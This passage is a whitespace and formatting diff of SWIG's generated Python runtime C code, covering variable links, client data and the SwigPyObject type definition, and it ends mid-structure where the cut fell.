- size_t size = strlen(name) + 1; - gv->name = (char *)malloc(size); - if (gv->name) { - memcpy(gv->name, name, size); - gv->get_attr = get_attr; - gv->set_attr = set_attr; - gv->next = v->vars; - } +SWIGINTERN void +SWIG_Python_addvarlink(PyObject *p, const char *name, PyObject *(*get_attr)(void), int (*set_attr)(PyObject *p)) { + swig_varlinkobject *v = (swig_varlinkobject *) p; + swig_globalvar *gv = (swig_globalvar *) malloc(sizeof(swig_globalvar)); + if (gv) { + size_t size = strlen(name)+1; + gv->name = (char *)malloc(size); + if (gv->name) { + memcpy(gv->name, name, size); + gv->get_attr = get_attr; + gv->set_attr = set_attr; + gv->next = v->vars; } - v->vars = gv; + } + v->vars = gv; } static PyObject *Swig_Globals_global = NULL; - + SWIGINTERN PyObject * SWIG_globals(void) { - if (Swig_Globals_global == NULL) { - Swig_Globals_global = SWIG_newvarlink(); - } - return Swig_Globals_global; + if (Swig_Globals_global == NULL) { + Swig_Globals_global = SWIG_newvarlink(); + } + return Swig_Globals_global; } #ifdef __cplusplus @@ -1593,110 +1600,114 @@ extern "C" { /* The python void return value */ -SWIGRUNTIMEINLINE PyObject * -SWIG_Py_Void(void) { - PyObject *none = Py_None; - Py_INCREF(none); - return none; +SWIGRUNTIMEINLINE PyObject * +SWIG_Py_Void(void) +{ + PyObject *none = Py_None; + Py_INCREF(none); + return none; } /* SwigPyClientData */ typedef struct { - PyObject *klass; - PyObject *newraw; - PyObject *newargs; - PyObject *destroy; - int delargs; - int implicitconv; - PyTypeObject *pytype; + PyObject *klass; + PyObject *newraw; + PyObject *newargs; + PyObject *destroy; + int delargs; + int implicitconv; + PyTypeObject *pytype; } SwigPyClientData; -SWIGRUNTIMEINLINE int -SWIG_Python_CheckImplicit(swig_type_info *ty) { - SwigPyClientData *data = (SwigPyClientData *)ty->clientdata; - int fail = data ? data->implicitconv : 0; - if (fail) - PyErr_SetString(PyExc_TypeError, "Implicit conversion is prohibited for explicit constructors."); - return fail; +SWIGRUNTIMEINLINE int +SWIG_Python_CheckImplicit(swig_type_info *ty) +{ + SwigPyClientData *data = (SwigPyClientData *)ty->clientdata; + int fail = data ? data->implicitconv : 0; + if (fail) + PyErr_SetString(PyExc_TypeError, "Implicit conversion is prohibited for explicit constructors."); + return fail; } SWIGRUNTIMEINLINE PyObject * SWIG_Python_ExceptionType(swig_type_info *desc) { - SwigPyClientData *data = desc ? (SwigPyClientData *) desc->clientdata : 0; - PyObject *klass = data ? data->klass : 0; - return (klass ? klass : PyExc_RuntimeError); + SwigPyClientData *data = desc ? (SwigPyClientData *) desc->clientdata : 0; + PyObject *klass = data ? data->klass : 0; + return (klass ? klass : PyExc_RuntimeError); } -SWIGRUNTIME SwigPyClientData * -SwigPyClientData_New(PyObject *obj) { - if (!obj) { - return 0; +SWIGRUNTIME SwigPyClientData * +SwigPyClientData_New(PyObject* obj) +{ + if (!obj) { + return 0; + } else { + SwigPyClientData *data = (SwigPyClientData *)malloc(sizeof(SwigPyClientData)); + /* the klass element */ + data->klass = obj; + Py_INCREF(data->klass); + /* the newraw method and newargs arguments used to create a new raw instance */ + if (PyClass_Check(obj)) { + data->newraw = 0; + Py_INCREF(obj); + data->newargs = obj; } else { - SwigPyClientData *data = (SwigPyClientData *)malloc(sizeof(SwigPyClientData)); - /* the klass element */ - data->klass = obj; - Py_INCREF(data->klass); - /* the newraw method and newargs arguments used to create a new raw instance */ - if (PyClass_Check(obj)) { - data->newraw = 0; - Py_INCREF(obj); - data->newargs = obj; + data->newraw = PyObject_GetAttrString(data->klass, "__new__"); + if (data->newraw) { + data->newargs = PyTuple_New(1); + if (data->newargs) { + Py_INCREF(obj); + PyTuple_SET_ITEM(data->newargs, 0, obj); } else { - data->newraw = PyObject_GetAttrString(data->klass, "__new__"); - if (data->newraw) { - data->newargs = PyTuple_New(1); - if (data->newargs) { - Py_INCREF(obj); - PyTuple_SET_ITEM(data->newargs, 0, obj); - } else { - Py_DECREF(data->newraw); - Py_DECREF(data->klass); - free(data); - return 0; - } - } else { - Py_INCREF(obj); - data->newargs = obj; - } + Py_DECREF(data->newraw); + Py_DECREF(data->klass); + free(data); + return 0; } - /* the destroy method, aka as the C++ delete method */ - data->destroy = PyObject_GetAttrString(data->klass, "__swig_destroy__"); - if (PyErr_Occurred()) { - PyErr_Clear(); - data->destroy = 0; - } - if (data->destroy) { - data->delargs = !(PyCFunction_GET_FLAGS(data->destroy) & METH_O); - } else { - data->delargs = 0; - } - data->implicitconv = 0; - data->pytype = 0; - return data; + } else { + Py_INCREF(obj); + data->newargs = obj; + } } + /* the destroy method, aka as the C++ delete method */ + data->destroy = PyObject_GetAttrString(data->klass, "__swig_destroy__"); + if (PyErr_Occurred()) { + PyErr_Clear(); + data->destroy = 0; + } + if (data->destroy) { + data->delargs = !(PyCFunction_GET_FLAGS(data->destroy) & METH_O); + } else { + data->delargs = 0; + } + data->implicitconv = 0; + data->pytype = 0; + return data; + } } -SWIGRUNTIME void -SwigPyClientData_Del(SwigPyClientData *data) { - Py_XDECREF(data->klass); - Py_XDECREF(data->newraw); - Py_XDECREF(data->newargs); - Py_XDECREF(data->destroy); - free(data); +SWIGRUNTIME void +SwigPyClientData_Del(SwigPyClientData *data) +{ + Py_XDECREF(data->klass); + Py_XDECREF(data->newraw); + Py_XDECREF(data->newargs); + Py_XDECREF(data->destroy); + free(data); } /* =============== SwigPyObject =====================*/ typedef struct { - PyObject_HEAD - void *ptr; - swig_type_info *ty; - int own; - PyObject *next; + PyObject_HEAD + void *ptr; + swig_type_info *ty; + int own; + PyObject *next; #ifdef SWIGPYTHON_BUILTIN - PyObject *dict; + PyObject *dict; #endif } SwigPyObject; @@ -1704,151 +1715,160 @@ typedef struct { #ifdef SWIGPYTHON_BUILTIN SWIGRUNTIME PyObject * -SwigPyObject_get___dict__(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { - SwigPyObject *sobj = (SwigPyObject *)v; +SwigPyObject_get___dict__(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) +{ + SwigPyObject *sobj = (SwigPyObject *)v; - if (!sobj->dict) - sobj->dict = PyDict_New(); + if (!sobj->dict) + sobj->dict = PyDict_New(); - Py_XINCREF(sobj->dict); - return sobj->dict; + Py_XINCREF(sobj->dict); + return sobj->dict; } #endif SWIGRUNTIME PyObject * -SwigPyObject_long(SwigPyObject *v) { - return PyLong_FromVoidPtr(v->ptr); +SwigPyObject_long(SwigPyObject *v) +{ + return PyLong_FromVoidPtr(v->ptr); } SWIGRUNTIME PyObject * -SwigPyObject_format(const char *fmt, SwigPyObject *v) { - PyObject *res = NULL; - PyObject *args = PyTuple_New(1); - if (args) { - PyObject *val = SwigPyObject_long(v); - if (val) { - PyObject *ofmt; - PyTuple_SET_ITEM(args, 0, val); - ofmt = SWIG_Python_str_FromChar(fmt); - if (ofmt) { +SwigPyObject_format(const char* fmt, SwigPyObject *v) +{ + PyObject *res = NULL; + PyObject *args = PyTuple_New(1); + if (args) { + PyObject *val = SwigPyObject_long(v); + if (val) { + PyObject *ofmt; + PyTuple_SET_ITEM(args, 0, val); + ofmt = SWIG_Python_str_FromChar(fmt); + if (ofmt) { #if PY_VERSION_HEX >= 0x03000000 - res = PyUnicode_Format(ofmt, args); + res = PyUnicode_Format(ofmt,args); #else - res = PyString_Format(ofmt, args); + res = PyString_Format(ofmt,args); #endif - Py_DECREF(ofmt); - } - } - Py_DECREF(args); + Py_DECREF(ofmt); + } } - return res; + Py_DECREF(args); + } + return res; } SWIGRUNTIME PyObject * -SwigPyObject_oct(SwigPyObject *v) { - return SwigPyObject_format("%o", v); +SwigPyObject_oct(SwigPyObject *v) +{ + return SwigPyObject_format("%o",v); } SWIGRUNTIME PyObject * -SwigPyObject_hex(SwigPyObject *v) { - return SwigPyObject_format("%x", v); +SwigPyObject_hex(SwigPyObject *v) +{ + return SwigPyObject_format("%x",v); } SWIGRUNTIME PyObject * -SwigPyObject_repr(SwigPyObject *v) { - const char *name = SWIG_TypePrettyName(v->ty); - PyObject *repr = SWIG_Python_str_FromFormat("", (name ? name : "unknown"), (void *)v); - if (repr && v->next) { - PyObject *nrep = SwigPyObject_repr((SwigPyObject *)v->next); - if (nrep) { +SwigPyObject_repr(SwigPyObject *v) +{ + const char *name = SWIG_TypePrettyName(v->ty); + PyObject *repr = SWIG_Python_str_FromFormat("", (name ? name : "unknown"), (void *)v); + if (repr && v->next) { + PyObject *nrep = SwigPyObject_repr((SwigPyObject *)v->next); + if (nrep) { # if PY_VERSION_HEX >= 0x03000000 - PyObject *joined = PyUnicode_Concat(repr, nrep); - Py_DecRef(repr); - Py_DecRef(nrep); - repr = joined; + PyObject *joined = PyUnicode_Concat(repr, nrep); + Py_DecRef(repr); + Py_DecRef(nrep); + repr = joined; # else - PyString_ConcatAndDel(&repr, nrep); + PyString_ConcatAndDel(&repr,nrep); # endif - } else { - Py_DecRef(repr); - repr = NULL; - } + } else { + Py_DecRef(repr); + repr = NULL; } - return repr; + } + return repr; } /* We need a version taking two PyObject* parameters so it's a valid * PyCFunction to use in swigobject_methods[]. */ SWIGRUNTIME PyObject * -SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { - return SwigPyObject_repr((SwigPyObject *)v); +SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) +{ + return SwigPyObject_repr((SwigPyObject*)v); } SWIGRUNTIME int -SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w) { - void *i = v->ptr; - void *j = w->ptr; - return (i < j) ? -1 : ((i > j) ? 1 : 0); +SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w) +{ + void *i = v->ptr; + void *j = w->ptr; + return (i < j) ? -1 : ((i > j) ? 1 : 0); } /* Added for Python 3.x, would it also be useful for Python 2.x? */ -SWIGRUNTIME PyObject * -SwigPyObject_richcompare(SwigPyObject *v, SwigPyObject *w, int op) { - PyObject *res = NULL; - if (!PyErr_Occurred()) { - if (op != Py_EQ && op != Py_NE) { - Py_INCREF(Py_NotImplemented); - return Py_NotImplemented; - } - res = PyBool_FromLong((SwigPyObject_compare(v, w) == 0) == (op == Py_EQ) ? 1 : 0); +SWIGRUNTIME PyObject* +SwigPyObject_richcompare(SwigPyObject *v, SwigPyObject *w, int op) +{ + PyObject* res = NULL; + if (!PyErr_Occurred()) { + if (op != Py_EQ && op != Py_NE) { + Py_INCREF(Py_NotImplemented); + return Py_NotImplemented; } - return res; + res = PyBool_FromLong( (SwigPyObject_compare(v, w)==0) == (op == Py_EQ) ? 1 : 0); + } + return res; } -SWIGRUNTIME PyTypeObject *SwigPyObject_TypeOnce(void); +SWIGRUNTIME PyTypeObject* SwigPyObject_TypeOnce(void); #ifdef SWIGPYTHON_BUILTIN static swig_type_info *SwigPyObject_stype = 0; -SWIGRUNTIME PyTypeObject * +SWIGRUNTIME PyTypeObject* SwigPyObject_type(void) { SwigPyClientData *cd; assert(SwigPyObject_stype); - cd = (SwigPyClientData *) SwigPyObject_stype->clientdata; + cd = (SwigPyClientData*) SwigPyObject_stype->clientdata; assert(cd); assert(cd->pytype); return cd->pytype; } #else -SWIGRUNTIME PyTypeObject * +SWIGRUNTIME PyTypeObject* SwigPyObject_type(void) { - static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyObject_TypeOnce(); - return type; + static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyObject_TypeOnce(); + return type; } #endif SWIGRUNTIMEINLINE int SwigPyObject_Check(PyObject *op) { - PyTypeObject *target_tp = SwigPyObject_type(); - PyTypeObject *op_type = Py_TYPE(op); + PyTypeObject *target_tp = SwigPyObject_type(); + PyTypeObject *op_type = Py_TYPE(op); #ifdef SWIGPYTHON_BUILTIN - if (PyType_IsSubtype(op_type, target_tp)) - return 1; - return (strcmp(op_type->tp_name, "SwigPyObject") == 0); + if (PyType_IsSubtype(op_type, target_tp)) + return 1; + return (strcmp(op_type->tp_name, "SwigPyObject") == 0); #else - if (op_type == target_tp) - return 1; + if (op_type == target_tp) + return 1; # ifdef Py_LIMITED_API - int cmp; - PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); - if (!tp_name) - return 0; - cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyObject"); - Py_DECREF(tp_name); - return cmp == 0; + int cmp; + PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); + if (!tp_name) + return 0; + cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyObject"); + Py_DECREF(tp_name); + return cmp == 0; # else - return (strcmp(op_type->tp_name, "SwigPyObject") == 0); + return (strcmp(op_type->tp_name, "SwigPyObject") == 0); # endif #endif } @@ -1856,313 +1876,320 @@ SwigPyObject_Check(PyObject *op) { SWIGRUNTIME PyObject * SwigPyObject_New(void *ptr, swig_type_info *ty, int own); -static PyObject *Swig_Capsule_global = NULL; +static PyObject* Swig_Capsule_global = NULL; SWIGRUNTIME void -SwigPyObject_dealloc(PyObject *v) { - SwigPyObject *sobj = (SwigPyObject *) v; - PyObject *next = sobj->next; - if (sobj->own == SWIG_POINTER_OWN) { - swig_type_info *ty = sobj->ty; - SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; - PyObject *destroy = data ? data->destroy : 0; - if (destroy) { - /* destroy is always a VARARGS method */ - PyObject *res; +SwigPyObject_dealloc(PyObject *v) +{ + SwigPyObject *sobj = (SwigPyObject *) v; + PyObject *next = sobj->next; + if (sobj->own == SWIG_POINTER_OWN) { + swig_type_info *ty = sobj->ty; + SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; + PyObject *destroy = data ? data->destroy : 0; + if (destroy) { + /* destroy is always a VARARGS method */ + PyObject *res; - /* PyObject_CallFunction() has the potential to silently drop - the active exception. In cases of unnamed temporary - variable or where we just finished iterating over a generator - StopIteration will be active right now, and this needs to - remain true upon return from SwigPyObject_dealloc. So save - and restore. */ + /* PyObject_CallFunction() has the potential to silently drop + the active exception. In cases of unnamed temporary + variable or where we just finished iterating over a generator + StopIteration will be active right now, and this needs to + remain true upon return from SwigPyObject_dealloc. So save + and restore. */ + + PyObject *type = NULL, *value = NULL, *traceback = NULL; + PyErr_Fetch(&type, &value, &traceback); - PyObject *type = NULL, *value = NULL, *traceback = NULL; - PyErr_Fetch(&type, &value, &traceback); - - if (data->delargs) { - /* we need to create a temporary object to carry the destroy operation */ - PyObject *tmp = SwigPyObject_New(sobj->ptr, ty, 0); - if (tmp) { - res = SWIG_Python_CallFunctor(destroy, tmp); - } else { - res = 0; - } - Py_XDECREF(tmp); - } else { - PyCFunction meth = PyCFunction_GET_FUNCTION(destroy); - PyObject *mself = PyCFunction_GET_SELF(destroy); - res = ((*meth)(mself, v)); - } - if (!res) - PyErr_WriteUnraisable(destroy); - - PyErr_Restore(type, value, traceback); - - Py_XDECREF(res); + if (data->delargs) { + /* we need to create a temporary object to carry the destroy operation */ + PyObject *tmp = SwigPyObject_New(sobj->ptr, ty, 0); + if (tmp) { + res = SWIG_Python_CallFunctor(destroy, tmp); + } else { + res = 0; } + Py_XDECREF(tmp); + } else { + PyCFunction meth = PyCFunction_GET_FUNCTION(destroy); + PyObject *mself = PyCFunction_GET_SELF(destroy); + res = ((*meth)(mself, v)); + } + if (!res) + PyErr_WriteUnraisable(destroy); + + PyErr_Restore(type, value, traceback); + + Py_XDECREF(res); + } #if !defined(SWIG_PYTHON_SILENT_MEMLEAK) - else { - const char *name = SWIG_TypePrettyName(ty); - printf("swig/python detected a memory leak of type '%s', no destructor found.\n", (name ? name : "unknown")); - } -#endif - Py_XDECREF(Swig_Capsule_global); + else { + const char *name = SWIG_TypePrettyName(ty); + printf("swig/python detected a memory leak of type '%s', no destructor found.\n", (name ? name : "unknown")); } - Py_XDECREF(next); +#endif + Py_XDECREF(Swig_Capsule_global); + } + Py_XDECREF(next); #ifdef SWIGPYTHON_BUILTIN - Py_XDECREF(sobj->dict); + Py_XDECREF(sobj->dict); #endif - PyObject_DEL(v); + PyObject_DEL(v); } -SWIGRUNTIME PyObject * -SwigPyObject_append(PyObject *v, PyObject *next) { - SwigPyObject *sobj = (SwigPyObject *) v; - if (!SwigPyObject_Check(next)) { - PyErr_SetString(PyExc_TypeError, "Attempt to append a non SwigPyObject"); - return NULL; - } - ((SwigPyObject *)next)->next = sobj->next; - sobj->next = next; - Py_INCREF(next); +SWIGRUNTIME PyObject* +SwigPyObject_append(PyObject* v, PyObject* next) +{ + SwigPyObject *sobj = (SwigPyObject *) v; + if (!SwigPyObject_Check(next)) { + PyErr_SetString(PyExc_TypeError, "Attempt to append a non SwigPyObject"); + return NULL; + } + ((SwigPyObject *)next)->next = sobj->next; + sobj->next = next; + Py_INCREF(next); + return SWIG_Py_Void(); +} + +SWIGRUNTIME PyObject* +SwigPyObject_next(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) +{ + SwigPyObject *sobj = (SwigPyObject *) v; + if (sobj->next) { + Py_INCREF(sobj->next); + return sobj->next; + } else { return SWIG_Py_Void(); + } } -SWIGRUNTIME PyObject * -SwigPyObject_next(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { - SwigPyObject *sobj = (SwigPyObject *) v; - if (sobj->next) { - Py_INCREF(sobj->next); - return sobj->next; - } else { - return SWIG_Py_Void(); - } +SWIGINTERN PyObject* +SwigPyObject_disown(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) +{ + SwigPyObject *sobj = (SwigPyObject *)v; + sobj->own = 0; + return SWIG_Py_Void(); } -SWIGINTERN PyObject * -SwigPyObject_disown(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { +SWIGINTERN PyObject* +SwigPyObject_acquire(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) +{ + SwigPyObject *sobj = (SwigPyObject *)v; + sobj->own = SWIG_POINTER_OWN; + return SWIG_Py_Void(); +} + +SWIGINTERN PyObject* +SwigPyObject_own(PyObject *v, PyObject *args) +{ + PyObject *val = 0; + if (!PyArg_UnpackTuple(args, "own", 0, 1, &val)) { + return NULL; + } else { SwigPyObject *sobj = (SwigPyObject *)v; - sobj->own = 0; - return SWIG_Py_Void(); -} - -SWIGINTERN PyObject * -SwigPyObject_acquire(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { - SwigPyObject *sobj = (SwigPyObject *)v; - sobj->own = SWIG_POINTER_OWN; - return SWIG_Py_Void(); -} - -SWIGINTERN PyObject * -SwigPyObject_own(PyObject *v, PyObject *args) { - PyObject *val = 0; - if (!PyArg_UnpackTuple(args, "own", 0, 1, &val)) { - return NULL; - } else { - SwigPyObject *sobj = (SwigPyObject *)v; - PyObject *obj = PyBool_FromLong(sobj->own); - if (val) { - if (PyObject_IsTrue(val)) { - Py_DECREF(SwigPyObject_acquire(v, args)); - } else { - Py_DECREF(SwigPyObject_disown(v, args)); - } - } - return obj; - } + PyObject *obj = PyBool_FromLong(sobj->own); + if (val) { + if (PyObject_IsTrue(val)) { + Py_DECREF(SwigPyObject_acquire(v,args)); + } else { + Py_DECREF(SwigPyObject_disown(v,args)); + } + } + return obj; + } } static PyMethodDef swigobject_methods[] = { - {"disown", SwigPyObject_disown, METH_NOARGS, "releases ownership of the pointer"}, - {"acquire", SwigPyObject_acquire, METH_NOARGS, "acquires ownership of the pointer"}, - {"own", SwigPyObject_own, METH_VARARGS, "returns/sets ownership of the pointer"}, - {"append", SwigPyObject_append, METH_O, "appends another 'this' object"}, - {"next", SwigPyObject_next, METH_NOARGS, "returns the next 'this' object"}, - {"__repr__", SwigPyObject_repr2, METH_NOARGS, "returns object representation"}, - {0, 0, 0, 0} + {"disown", SwigPyObject_disown, METH_NOARGS, "releases ownership of the pointer"}, + {"acquire", SwigPyObject_acquire, METH_NOARGS, "acquires ownership of the pointer"}, + {"own", SwigPyObject_own, METH_VARARGS, "returns/sets ownership of the pointer"}, + {"append", SwigPyObject_append, METH_O, "appends another 'this' object"}, + {"next", SwigPyObject_next, METH_NOARGS, "returns the next 'this' object"}, + {"__repr__",SwigPyObject_repr2, METH_NOARGS, "returns object representation"}, + {0, 0, 0, 0} }; -SWIGRUNTIME PyTypeObject * +SWIGRUNTIME PyTypeObject* SwigPyObject_TypeOnce(void) { - static char swigobject_doc[] = "Swig object carries a C/C++ instance pointer"; + static char swigobject_doc[] = "Swig object carries a C/C++ instance pointer"; #ifndef Py_LIMITED_API - static PyNumberMethods SwigPyObject_as_number = { - (binaryfunc)0, /*nb_add*/ - (binaryfunc)0, /*nb_subtract*/ - (binaryfunc)0, /*nb_multiply*/ - /* nb_divide removed in Python 3 */ + static PyNumberMethods SwigPyObject_as_number = { + (binaryfunc)0, /*nb_add*/ + (binaryfunc)0, /*nb_subtract*/ + (binaryfunc)0, /*nb_multiply*/ + /* nb_divide removed in Python 3 */ #if PY_VERSION_HEX < 0x03000000 - (binaryfunc)0, /*nb_divide*/ + (binaryfunc)0, /*nb_divide*/ #endif - (binaryfunc)0, /*nb_remainder*/ - (binaryfunc)0, /*nb_divmod*/ - (ternaryfunc)0,/*nb_power*/ - (unaryfunc)0, /*nb_negative*/ - (unaryfunc)0, /*nb_positive*/ - (unaryfunc)0, /*nb_absolute*/ - (inquiry)0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ + (binaryfunc)0, /*nb_remainder*/ + (binaryfunc)0, /*nb_divmod*/ + (ternaryfunc)0,/*nb_power*/ + (unaryfunc)0, /*nb_negative*/ + (unaryfunc)0, /*nb_positive*/ + (unaryfunc)0, /*nb_absolute*/ + (inquiry)0, /*nb_nonzero*/ + 0, /*nb_invert*/ + 0, /*nb_lshift*/ + 0, /*nb_rshift*/ + 0, /*nb_and*/ + 0, /*nb_xor*/ + 0, /*nb_or*/ #if PY_VERSION_HEX < 0x03000000 - 0, /*nb_coerce*/ + 0, /*nb_coerce*/ #endif - (unaryfunc)SwigPyObject_long, /*nb_int*/ + (unaryfunc)SwigPyObject_long, /*nb_int*/ #if PY_VERSION_HEX < 0x03000000 - (unaryfunc)SwigPyObject_long, /*nb_long*/ + (unaryfunc)SwigPyObject_long, /*nb_long*/ #else - 0, /*nb_reserved*/ + 0, /*nb_reserved*/ #endif - (unaryfunc)0, /*nb_float*/ + (unaryfunc)0, /*nb_float*/ #if PY_VERSION_HEX < 0x03000000 - (unaryfunc)SwigPyObject_oct, /*nb_oct*/ - (unaryfunc)SwigPyObject_hex, /*nb_hex*/ + (unaryfunc)SwigPyObject_oct, /*nb_oct*/ + (unaryfunc)SwigPyObject_hex, /*nb_hex*/ #endif #if PY_VERSION_HEX >= 0x03050000 /* 3.5 */ - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* nb_inplace_add -> nb_inplace_matrix_multiply */ + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_inplace_matrix_multiply */ #elif PY_VERSION_HEX >= 0x03000000 /* 3.0 */ - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* nb_inplace_add -> nb_index, nb_inplace_divide removed */ + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_index, nb_inplace_divide removed */ #else - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* nb_inplace_add -> nb_index */ + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_index */ #endif - }; + }; - static PyTypeObject swigpyobject_type; - static int type_init = 0; - if (!type_init) { - const PyTypeObject tmp = { + static PyTypeObject swigpyobject_type; + static int type_init = 0; + if (!type_init) { + const PyTypeObject tmp = { #if PY_VERSION_HEX >= 0x03000000 - PyVarObject_HEAD_INIT(NULL, 0) + PyVarObject_HEAD_INIT(NULL, 0) #else - PyObject_HEAD_INIT(NULL) - 0, /* ob_size */ + PyObject_HEAD_INIT(NULL) + 0, /* ob_size */ #endif - "SwigPyObject", /* tp_name */ - sizeof(SwigPyObject), /* tp_basicsize */ - 0, /* tp_itemsize */ - (destructor)SwigPyObject_dealloc, /* tp_dealloc */ + "SwigPyObject", /* tp_name */ + sizeof(SwigPyObject), /* tp_basicsize */ + 0, /* tp_itemsize */ + (destructor)SwigPyObject_dealloc, /* tp_dealloc */ #if PY_VERSION_HEX < 0x030800b4 - (printfunc)0, /*tp_print*/ + (printfunc)0, /*tp_print*/ #else - (Py_ssize_t)0, /*tp_vectorcall_offset*/ + (Py_ssize_t)0, /*tp_vectorcall_offset*/ #endif - (getattrfunc)0, /* tp_getattr */ - (setattrfunc)0, /* tp_setattr */ + (getattrfunc)0, /* tp_getattr */ + (setattrfunc)0, /* tp_setattr */ #if PY_VERSION_HEX >= 0x03000000 - 0, /* tp_reserved in 3.0.1, tp_compare in 3.0.0 but not used */ + 0, /* tp_reserved in 3.0.1, tp_compare in 3.0.0 but not used */ #else - (cmpfunc)SwigPyObject_compare, /* tp_compare */ + (cmpfunc)SwigPyObject_compare, /* tp_compare */ #endif - (reprfunc)SwigPyObject_repr, /* tp_repr */ - &SwigPyObject_as_number, /* tp_as_number */ - 0, /* tp_as_sequence */ - 0, /* tp_as_mapping */ - (hashfunc)0, /* tp_hash */ - (ternaryfunc)0, /* tp_call */ - 0, /* tp_str */ - PyObject_GenericGetAttr, /* tp_getattro */ - 0, /* tp_setattro */ - 0, /* tp_as_buffer */ - Py_TPFLAGS_DEFAULT, /* tp_flags */ - swigobject_doc, /* tp_doc */ - 0, /* tp_traverse */ - 0, /* tp_clear */ - (richcmpfunc)SwigPyObject_richcompare,/* tp_richcompare */ - 0, /* tp_weaklistoffset */ - 0, /* tp_iter */ - 0, /* tp_iternext */ - swigobject_methods, /* tp_methods */ - 0, /* tp_members */ - 0, /* tp_getset */ - 0, /* tp_base */ - 0, /* tp_dict */ - 0, /* tp_descr_get */ - 0, /* tp_descr_set */ - 0, /* tp_dictoffset */ - 0, /* tp_init */ - 0, /* tp_alloc */ - 0, /* tp_new */ - 0, /* tp_free */ - 0, /* tp_is_gc */ - 0, /* tp_bases */ - 0, /* tp_mro */ - 0, /* tp_cache */ - 0, /* tp_subclasses */ - 0, /* tp_weaklist */ - 0, /* tp_del */ - 0, /* tp_version_tag */ + (reprfunc)SwigPyObject_repr, /* tp_repr */ + &SwigPyObject_as_number, /* tp_as_number */ + 0, /* tp_as_sequence */ + 0, /* tp_as_mapping */ + (hashfunc)0, /* tp_hash */ + (ternaryfunc)0, /* tp_call */ + 0, /* tp_str */ + PyObject_GenericGetAttr, /* tp_getattro */ + 0, /* tp_setattro */ + 0, /* tp_as_buffer */ + Py_TPFLAGS_DEFAULT, /* tp_flags */ + swigobject_doc, /* tp_doc */ + 0, /* tp_traverse */ + 0, /* tp_clear */ + (richcmpfunc)SwigPyObject_richcompare,/* tp_richcompare */ + 0, /* tp_weaklistoffset */ + 0, /* tp_iter */ + 0, /* tp_iternext */ + swigobject_methods, /* tp_methods */ + 0, /* tp_members */ + 0, /* tp_getset */ + 0, /* tp_base */ + 0, /* tp_dict */ + 0, /* tp_descr_get */ + 0, /* tp_descr_set */ + 0, /* tp_dictoffset */ + 0, /* tp_init */ + 0, /* tp_alloc */ + 0, /* tp_new */ + 0, /* tp_free */ + 0, /* tp_is_gc */ + 0, /* tp_bases */ + 0, /* tp_mro */ + 0, /* tp_cache */ + 0, /* tp_subclasses */ + 0, /* tp_weaklist */ + 0, /* tp_del */ + 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 - 0, /* tp_finalize */ + 0, /* tp_finalize */ #endif #if PY_VERSION_HEX >= 0x03080000 - 0, /* tp_vectorcall */ + 0, /* tp_vectorcall */ #endif #if (PY_VERSION_HEX >= 0x03080000) && (PY_VERSION_HEX < 0x03090000) - 0, /* tp_print */ + 0, /* tp_print */ #endif #if PY_VERSION_HEX >= 0x030C0000 - 0, /* tp_watched */ + 0, /* tp_watched */ #endif #ifdef COUNT_ALLOCS - 0, /* tp_allocs */ - 0, /* tp_frees */ - 0, /* tp_maxalloc */ - 0, /* tp_prev */ - 0 /* tp_next */ + 0, /* tp_allocs */ + 0, /* tp_frees */ + 0, /* tp_maxalloc */ + 0, /* tp_prev */ + 0 /* tp_next */ #endif - }; - swigpyobject_type = tmp; - type_init = 1; - if (PyType_Ready(&swigpyobject_type) != 0) - return NULL; - } - return &swigpyobject_type; + }; + swigpyobject_type = tmp; + type_init = 1; + if (PyType_Ready(&swigpyobject_type) != 0) + return NULL; + } + return &swigpyobject_type; #else - PyType_Slot slots[] = { - { Py_tp_dealloc, (void *)SwigPyObject_dealloc }, - { Py_tp_repr, (void *)SwigPyObject_repr }, - { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, - { Py_tp_doc, (void *)swigobject_doc }, - { Py_tp_richcompare, (void *)SwigPyObject_richcompare }, - { Py_tp_methods, (void *)swigobject_methods }, - { Py_nb_int, (void *)SwigPyObject_long }, - { 0, NULL } - }; - PyType_Spec spec = { - "SwigPyObject", - sizeof(SwigPyObject), - 0, - Py_TPFLAGS_DEFAULT, - slots - }; - return (PyTypeObject *)PyType_FromSpec(&spec); + PyType_Slot slots[] = { + { Py_tp_dealloc, (void *)SwigPyObject_dealloc }, + { Py_tp_repr, (void *)SwigPyObject_repr }, + { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, + { Py_tp_doc, (void *)swigobject_doc }, + { Py_tp_richcompare, (void *)SwigPyObject_richcompare }, + { Py_tp_methods, (void *)swigobject_methods }, + { Py_nb_int, (void *)SwigPyObject_long }, + { 0, NULL } + }; + PyType_Spec spec = { + "SwigPyObject", + 